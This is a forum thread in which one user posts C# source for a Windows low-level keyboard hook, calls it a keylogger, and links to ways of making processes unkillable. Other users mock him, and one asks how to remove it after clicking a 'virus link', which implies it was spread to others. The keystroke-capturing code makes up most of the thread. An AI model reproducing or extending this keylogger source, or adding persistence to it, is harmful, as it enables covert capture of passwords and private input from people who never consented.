yea its a keylogger

[r00t]

http://msdn.microsoft.com/en-us/libr...(v=vs.85).aspx

use linux

[r00t]

[You must be logged in to view images. Log in or Register.]

[r00t]

using System;
using System.Collections.Generic;
using System.Text;

namespace KHook
{
    public class KeyboardHook : IDisposable
    {
        #region Events
        private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
        public delegate void HookEventHandler(object sender, KeyboardHookEventArgs e);
        public event HookEventHandler KeyDown;
        public event HookEventHandler KeyUp;
        #endregion

        #region Constants
        private const int WH_KEYBOARD_LL = 13;
        private const int WM_KEYDOWN = 0x0100;
        private const int WM_SYSKEYDOWN = 0x0104;
        private LowLevelKeyboardProc _proc = null;
        private static IntPtr _hookID = IntPtr.Zero;
        #endregion

        #region Imports
        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr SetWindowsHookEx(int idHook,
            LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool UnhookWindowsHookEx(IntPtr hhk);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
            IntPtr wParam, IntPtr lParam);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr GetModuleHandle(string lpModuleName);

        #endregion

        #region Constructor
        public KeyboardHook()
        {
            _proc = new LowLevelKeyboardProc(HookCallback);
            _hookID = SetHook(_proc);
        }

        #endregion


        #region Methods
        private IntPtr SetHook(LowLevelKeyboardProc proc)
        {
            using (Process curProcess = Process.GetCurrentProcess())
            using (ProcessModule curModule = curProcess.MainModule)
            {
                return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
                    GetModuleHandle(curModule.ModuleName), 0);
            }
        }

        private IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
        {
            //if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
            if (nCode >= 0 && (wParam == (IntPtr)WM_KEYDOWN || wParam == (IntPtr)WM_SYSKEYDOWN))
            {
                int vkCode = Marshal.ReadInt32(lParam);
                WinForms.Keys key = (WinForms.Keys)vkCode;
                if (this.KeyDown != null)
                    this.KeyDown(this, new KeyboardHookEventArgs(vkCode));
            }
            return CallNextHookEx(_hookID, nCode, wParam, lParam);
        }

        #endregion

        #region Destructor
        public void Dispose()
        {
            UnhookWindowsHookEx(_hookID);
        }
        #endregion
    }
}

[Hasbinbad]

i like how you've left the steak tab open.. i really do recommend doing it.

[r00t]

maybe for 2 hours

[Hasbinbad]

so i forgot if i clicked on salty's virus link or not, how do I find the keylogger and kill it if i have it?

[r00t]

I made this helpful tutorial to remove it

http://www.youtube.com/watch?v=k9u67u82a74

[r00t]

HOW TO SPAWN CHILDREN THAT CANNOT BE KILLED

http://stackoverflow.com/questions/1...y-process-tree

[Lubian]

Oh amazing you learned how to do a PInvoke and copy and paste code.</sarcasm>

Really, you need to stop posting and embarrassing yourself.

Well at least you win the award for getting the most downvotes I've seen for a SO question in 15 minutes.

[Ishukone]

shut the fuck up nerd